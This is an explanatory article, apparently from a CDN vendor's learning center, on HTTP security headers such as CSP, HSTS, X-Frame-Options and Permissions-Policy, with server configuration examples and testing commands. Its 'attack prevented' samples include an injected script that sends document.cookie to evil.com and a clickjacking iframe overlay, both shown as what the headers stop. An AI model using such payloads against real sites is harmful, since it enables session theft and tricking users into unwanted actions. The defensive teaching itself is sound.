HTTP Security Headers

Learn what HTTP security headers are and how they protect websites against XSS, clickjacking, MIME sniffing, and downgrade attacks. Explore CSP, HSTS, X-Frame-Options, Referrer-Policy, Permissions-Policy, and implementation best practices.

HTTP security headers are response headers that instruct browsers to enable built-in security protections. Headers like Content-Security-Policy, X-Frame-Options, and Strict-Transport-Security defend against XSS, clickjacking, and protocol downgrade attacks by enforcing security policies at the browser level.

How HTTP Security Headers Work

Security headers are sent by the server in HTTP responses before the page content. Browsers parse these headers and activate corresponding security mechanisms before rendering the page, creating a defensive layer that operates independently of application code.

┌──────────────────────────────────────────────────────────────────┐
│ Security Header Flow │
│ │
│ │ │
│ │ HTTP/1.1 200 OK │
│ │ Content-Security-Policy: default-src 'self' │
│ │ X-Frame-Options: DENY │
│ │ Strict-Transport-Security: max-age=31536000 │
│ │ X-Content-Type-Options: nosniff │
│ │ Referrer-Policy: strict-origin-when-cross-origin │
│ │ Permissions-Policy: geolocation=() │
│ │ │
│ ▼ │
│ Browser ──▶ Parse headers ──▶ Activate protections ──▶ Render │
│ │
└──────────────────────────────────────────────────────────────────┘

Essential Security Headers

1. Content-Security-Policy (CSP)

Controls which resources the browser is allowed to load, preventing XSS and data injection attacks.

DirectivePurposeExample
default-srcFallback for other directives'self'
script-srcValid JavaScript sources'self' 'unsafe-inline'
style-srcValid CSS sources'self' 'unsafe-inline'
img-srcValid image sources'self' data: https:
connect-srcValid AJAX/WebSocket endpoints'self' api.example.com
font-srcValid font sources'self' fonts.gstatic.com
frame-srcValid iframe sources'self'
object-srcValid plugin sources'none'

Basic CSP configuration:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'

CSP with nonce for inline scripts:

Content-Security-Policy: script-src 'self' 'nonce-abc123def456'
<script nonce="abc123def456">
// This inline script is allowed
console.log('Secure inline script');
</script>

CSP with hash:

Content-Security-Policy: script-src 'self' 'sha256-xyz123...'

Attack prevented:

<!-- Attacker injects this - BLOCKED by CSP -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

2. Strict-Transport-Security (HSTS)

Forces browsers to use HTTPS for all future requests to the domain, preventing protocol downgrade attacks.

DirectivePurposeExample
max-ageDuration in seconds31536000 (1 year)
includeSubDomainsApply to all subdomainsOptional
preloadSubmit to browser preload listsOptional

Basic HSTS:

Strict-Transport-Security: max-age=31536000

HSTS with subdomains and preload:

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

Attack prevented:

Without HSTS:
User types: example.com
Browser tries: http://example.com (vulnerable to MITM)
Attacker intercepts, steals credentials
With HSTS:
User types: example.com
Browser forces: https://example.com (secure)
Attacker cannot intercept

3. X-Frame-Options

Prevents the page from being embedded in iframes on other domains, blocking clickjacking attacks.

ValueEffect
DENYBlock all framing
SAMEORIGINAllow only same-origin framing
ALLOW-FROM originAllow specific origin (deprecated)

Recommended configuration:

X-Frame-Options: DENY

Or use CSP frame-ancestors (modern approach):

Content-Security-Policy: frame-ancestors 'none'

Attack prevented:

<!-- Attacker's site evil.com -->
<iframe src="https://bank.example.com/transfer" style="opacity: 0.1">
<button style="position: absolute; top: 100px;">Win Prize!</button>
</iframe>
<!-- User clicks "Win Prize" but actually clicks bank transfer button -->
<!-- BLOCKED: Bank page cannot be framed on evil.com -->

4. X-Content-Type-Options

Prevents browsers from MIME-sniffing responses away from declared content-type, blocking malicious file uploads.

X-Content-Type-Options: nosniff

Attack prevented:

Without nosniff:
1. Attacker uploads "image.jpg" containing JavaScript
2. Server serves with Content-Type: image/jpeg
3. Browser sniffs content, detects JavaScript
4. Browser executes as script → XSS
With nosniff:
1. Browser respects Content-Type: image/jpeg
2. Refuses to execute as script
3. Attack blocked

5. Referrer-Policy

Controls how much referrer information is sent with requests.

ValueBehavior
no-referrerNever send referrer
no-referrer-when-downgradeNo referrer on HTTPS→HTTP
originSend only origin (not full URL)
origin-when-cross-originFull URL same-origin, origin cross-origin
same-originReferrer only for same-origin
strict-originOrigin only, no referrer on downgrade
strict-origin-when-cross-originRecommended default

Recommended configuration:

Referrer-Policy: strict-origin-when-cross-origin

Example behavior:

User navigates from https://example.com/page1 to https://other.com
strict-origin-when-cross-origin:
Referrer: https://example.com (origin only, not full path)
User navigates from https://example.com/page1 to https://example.com/page2
strict-origin-when-cross-origin:
Referrer: https://example.com/page1 (full URL)

6. Permissions-Policy (formerly Feature-Policy)

Controls which browser features and APIs the page can use.

Common policies:

Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()

Allow specific origins:

Permissions-Policy: geolocation=(self "https://maps.example.com"), camera=()

Features available:

FeatureControls
geolocationGeolocation API
microphoneMicrophone access
cameraCamera access
paymentPayment Request API
usbWebUSB API
magnetometerMagnetometer API
gyroscopeGyroscope API
accelerometerAccelerometer API
fullscreenFullscreen API
picture-in-picturePiP mode
sync-xhrSynchronous XMLHttpRequest

7. Cross-Origin Policies

Modern headers for controlling cross-origin resource sharing.

Cross-Origin-Opener-Policy (COOP):

Cross-Origin-Opener-Policy: same-origin

Isolates browsing context, prevents cross-origin window references.

Cross-Origin-Embedder-Policy (COEP):

Cross-Origin-Embedder-Policy: require-corp

Requires explicit permission for cross-origin resource loading.

Cross-Origin-Resource-Policy (CORP):

Cross-Origin-Resource-Policy: same-origin

Prevents cross-origin resource loading entirely.

Use case: Enable SharedArrayBuffer:

Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp

Security Headers Comparison

HeaderAttack PreventedBrowser SupportPriority
Content-Security-PolicyXSS, injectionAll modernCritical
Strict-Transport-SecurityMITM, downgradeAll modernCritical
X-Frame-OptionsClickjackingAllHigh
X-Content-Type-OptionsMIME sniffingAllHigh
Referrer-PolicyData leakageAll modernMedium
Permissions-PolicyFeature abuseModern browsersMedium
Cross-Origin-*Side-channel attacksModern browsersAdvanced

Implementation Examples

Nginx Configuration

server {
listen 443 ssl http2;
server_name example.com;
# HSTS
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
# Content Security Policy
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'" always;
# Frame protection
add_header X-Frame-Options "DENY" always;
# MIME sniffing protection
add_header X-Content-Type-Options "nosniff" always;
# Referrer policy
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# Permissions policy
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
}

Apache Configuration

<VirtualHost *:443>
ServerName example.com
# HSTS
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
# Content Security Policy
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-ancestors 'none'"
# Frame protection
Header always set X-Frame-Options "DENY"
# MIME sniffing protection
Header always set X-Content-Type-Options "nosniff"
# Referrer policy
Header always set Referrer-Policy "strict-origin-when-cross-origin"
# Permissions policy
Header always set Permissions-Policy "geolocation=(), microphone=(), camera=()"
</VirtualHost>

Express.js Middleware

const helmet = require('helmet');
app.use(helmet());
// Or configure individually
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'", "https://cdn.example.com"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"]
}
})
);
app.use(helmet.hsts({
maxAge: 63072000,
includeSubDomains: true,
preload: true
}));
app.use(helmet.frameguard({ action: 'deny' }));
app.use(helmet.noSniff());
app.use(helmet.referrerPolicy({ policy: 'strict-origin-when-cross-origin' }));

Next.js Configuration

next.config.js
const securityHeaders = [
{
key: 'Strict-Transport-Security',
value: 'max-age=63072000; includeSubDomains; preload'
},
{
key: 'Content-Security-Policy',
value: "default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-ancestors 'none'"
},
{
key: 'X-Frame-Options',
value: 'DENY'
},
{
key: 'X-Content-Type-Options',
value: 'nosniff'
},
{
key: 'Referrer-Policy',
value: 'strict-origin-when-cross-origin'
},
{
key: 'Permissions-Policy',
value: 'geolocation=(), microphone=(), camera=()'
}
];
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: securityHeaders
}
];
}
};

Testing Security Headers

Online Tools

ToolURL
Security Headerssecurityheaders.com
Mozilla Observatoryobservatory.mozilla.org
Hardenizehardenize.com
Probelyprobely.com

Command Line Testing

Terminal window
# Check headers with curl
curl -I https://example.com
# Check specific header
curl -sI https://example.com | grep -i "content-security-policy"
# Check all security headers
curl -sI https://example.com | grep -iE "(strict-transport|x-frame|x-content|referrer-policy|permissions-policy|content-security)"

JavaScript Testing

// Check if CSP is present
fetch(window.location.href, { method: 'HEAD' })
.then(response => {
const csp = response.headers.get('Content-Security-Policy');
const hsts = response.headers.get('Strict-Transport-Security');
const xfo = response.headers.get('X-Frame-Options');
console.log('CSP:', csp || 'MISSING');
console.log('HSTS:', hsts || 'MISSING');
console.log('X-Frame-Options:', xfo || 'MISSING');
});

Common Mistakes

MistakeImpactFix
Missing CSPXSS vulnerabilityImplement strict CSP
CSP with unsafe-inline scriptsReduced XSS protectionUse nonces or hashes
Short HSTS max-ageProtection expires afterUse 1 year minimum
Missing HSTS on subdomainsSubdomain downgrade attacksAdd includeSubDomains
Using X-Frame-Options: ALLOW-FROMDeprecated, unreliableUse DENY or CSP frame-ancestors
Overly permissive CSPLimited protectionUse 'self' instead of *
Missing on error pagesHeaders not appliedUse always in Nginx/Apache

Header Priority Matrix

Risk LevelHeaders Required
CriticalHSTS, CSP, X-Frame-Options, X-Content-Type-Options
HighAdd Referrer-Policy, Permissions-Policy
MaximumAdd Cross-Origin-* headers, enforce strict CSP

When to Use

Essential for:

  • All public-facing websites
  • Applications handling authentication
  • Sites processing sensitive data
  • APIs consumed by browsers
  • Single-page applications

When to Adjust

CSP considerations:

  • SPAs may need 'unsafe-inline' for scripts (use nonces instead)
  • Third-party integrations require allowed domains
  • Development vs. production may differ

HSTS considerations:

  • Only enable after HTTPS is fully functional
  • Test with short max-age first (e.g., 300)
  • Preload is difficult to remove

FAQ

What is the difference between X-Frame-Options and CSP frame-ancestors? X-Frame-Options is older and only supports DENY or SAMEORIGIN. CSP frame-ancestors is more flexible, allowing specific origins. Use CSP for new projects, but keep both for compatibility.

Why does CSP use 'unsafe-inline' and is it safe? 'unsafe-inline' allows inline scripts/styles, which weakens XSS protection. Use nonces or hashes instead for production. Only use 'unsafe-inline' during migration or when nonces aren’t feasible.

How do I test CSP without breaking my site? Use Content-Security-Policy-Report-Only header to log violations without blocking:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-reports

Can security headers prevent all XSS attacks? No. CSP significantly reduces XSS risk but cannot prevent DOM-based XSS from same-origin scripts. Combine with output encoding and input validation.

Do security headers affect performance? Minimal impact. HSTS saves redirect time. CSP may block some resources, which is the intended behavior. Headers add ~500 bytes to responses.

Should I use HSTS preload? Only for production domains with stable HTTPS. Preload is difficult to reverse and requires submission to browser vendors. Test thoroughly before enabling.


How to Implement on Azion

Azion’s Edge Application allows configuring security headers globally at the edge:

  1. Application → Rules Engine - Add security headers to all responses
  2. Response Headers - Configure CSP, HSTS, X-Frame-Options in Rules
  3. Functions - Dynamic CSP nonce generation for inline scripts

Example Rules Engine configuration:

Rule: Add Security Headers
Condition: Always
Behaviors:
- Add Response Header: Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
- Add Response Header: X-Frame-Options "DENY"
- Add Response Header: X-Content-Type-Options "nosniff"
- Add Response Header: Referrer-Policy "strict-origin-when-cross-origin"

See: Rules Engine | Functions

stay up to date

Subscribe to our Newsletter

Get the latest product updates, event highlights, and tech industry insights delivered to your inbox.